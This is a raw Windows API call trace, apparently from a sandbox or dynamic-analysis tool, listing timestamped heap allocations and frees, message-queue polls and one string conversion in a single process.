RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d3a0 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf228 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.917] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055550 [0131.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d070 [0131.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0131.918] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.918] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d3a0 | out: hHeap=0xe80000) returned 1 [0131.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0131.919] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015640 | out: hHeap=0xe80000) returned 1 [0131.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055430 [0131.919] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d0a0 [0131.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.920] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0131.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d070 | out: hHeap=0xe80000) returned 1 [0131.920] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10688a8 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3250 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf188 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.921] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cb8 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3368 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf148 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1758 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a00 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1528 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fe8 | out: hHeap=0xe80000) returned 1 [0131.922] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0131.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18c0 | out: hHeap=0xe80000) returned 1 [0131.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0131.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3090 | out: hHeap=0xe80000) returned 1 [0131.923] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3020 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1c8 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf118 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3058 | out: hHeap=0xe80000) returned 1 [0131.924] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13e8 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076898 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1e8 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1618 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.925] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec13c0 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12d0 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0131.926] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1708 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076988 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf068 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1410 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1988 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1320 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766e8 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076970 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1370 | out: hHeap=0xe80000) returned 1 [0131.927] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef48 | out: hHeap=0xe80000) returned 1 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef48 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14d8 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xf3fd88 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a90 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a00 [0131.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf3fd88 | out: hHeap=0xe80000) returned 1 [0131.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.928] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.928] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a00 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076820 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076838 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0131.929] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaef48 | out: hHeap=0xe80000) returned 1 [0131.930] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaef48 [0131.930] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c211) returned 0xec39d8 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d0a0 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10766d0 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec12a8 | out: hHeap=0xe80000) returned 1 [0131.933] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf048 | out: hHeap=0xe80000) returned 1 [0131.933] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.933] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf048 [0131.933] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1708 [0131.933] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076838 [0131.933] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0e8 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32f8 [0131.934] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0131.934] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec32f8 | out: hHeap=0xe80000) returned 1 [0131.934] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0e8 | out: hHeap=0xe80000) returned 1 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1528 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf118 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a00 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0131.934] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf0e8 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0131.934] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.934] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076970 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1370 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1e8 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076988 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf088 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x10688f0 [0131.935] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.935] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0131.935] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.935] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769e8 [0131.935] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.935] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769e8 | out: hHeap=0xe80000) returned 1 [0131.935] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.936] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf188 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0131.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0131.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0131.936] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0131.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0131.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.936] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0131.936] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12d0 [0131.936] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf068 [0131.937] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0131.937] PeekMessageW (in: lpMsg=0xbdf384, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf384) returned 0 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1320 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.937] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3170 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0131.937] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0131.937] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 